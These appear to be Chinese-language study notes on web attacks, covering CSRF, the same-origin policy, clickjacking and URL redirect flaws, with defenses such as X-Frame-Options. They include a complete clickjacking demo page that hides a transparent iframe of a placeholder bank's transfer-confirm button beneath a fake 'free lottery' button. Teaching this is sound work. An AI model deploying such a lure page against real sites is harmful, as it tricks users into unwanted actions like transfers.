CSRF
intro
Cross-site request forgery 简称为 CSRF ,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。
- 利用浏览器自动携带 Cookie

同源策略
SOP(Same-origin policy) 浏览器的一项安全机制,限制一个源的文档或脚本如何与另一个源的资源进行交互。
攻击链
CVE-2019-9787
其它类似攻击
点击劫持
点击劫持(Clickjacking)又名 UI- 覆盖攻击,因为该攻击会劫持用户的点击操作,所以被命名为点击劫持,这是一种视觉上的欺骗手段。
主要劫持目标是含有重要会话交互的页面,如银行交易页面、后台管理页面等。
在 Web 页面中隐藏了一个透明的 iframe,配合 opacity 和 z-index等 CSS 属性, 用外层假页面诱导用户点击,实际上是在隐藏的 iframe 上触发了点击事件进行用户不知情的操作。
ClickjackingDemo
html
<!DOCTYPE html>
<html>
<head>
<style>
/* 1. 攻击者自己做的诱导层(在底层) */
.underlay-game {
position: absolute;
top: 50px;
left: 50px;
width: 300px;
height: 150px;
background-color: #ff4757;
color: white;
text-align: center;
line-height: 150px;
font-size: 20px;
font-weight: bold;
border-radius: 8px;
z-index: 1;
/* 层级较低 */
}
/* 2. 被嵌入的真实网站 iframe(在顶层,且完全透明) */
.hijack-iframe {
position: absolute;
top: 100px;
/* 精确调整位置,使“确认”按钮对齐下方的“抽奖”位置 */
left: 120px;
width: 150px;
height: 50px;
/* 核心配合样式 */
z-index: 9999;
/* 必须在最顶层,抢夺点击事件 */
opacity: 0;
/* 设为 0 (完全透明),使用户看不见它 */
border: none;
cursor: pointer;
/* 甚至可以改变鼠标指针,让用户毫无防备 */
}
</style>
</head>
<body>
<!-- 视觉上用户看到的:一个好玩的抽奖按钮 -->
<div class="underlay-game">
点击这里 ➔ 免费抽奖!
</div>
<!-- 实际上覆盖在最上层的:受害者第三方网站(比如银行转账的“确认”按钮) -->
<!-- 页面因为 opacity: 0 隐形了,但它依然能接收点击 -->
<iframe class="hijack-iframe" src="https://vulnerable-bank.com/transfer-confirm-button"></iframe>
</body>
</html>防范方式:在响应头中设置X-Frame-Options头部,可以设置三个值:
DENY:表示该页面不允许在 frame 中展示,即使在相同域名的页面中嵌套也不允许sameorigin:表示该页面可以在相同域名页面的 frame 中展示allow-from uri:表示该页面可以在指定来源的 frame 中展示
URL跳转漏洞
- 服务端告知浏览器跳转时,未对传入的跳转地址进行合法性校验,导致用户浏览器跳转到钓鱼页面。
- 防范方式:在 URL 链接里加入验证 token 。


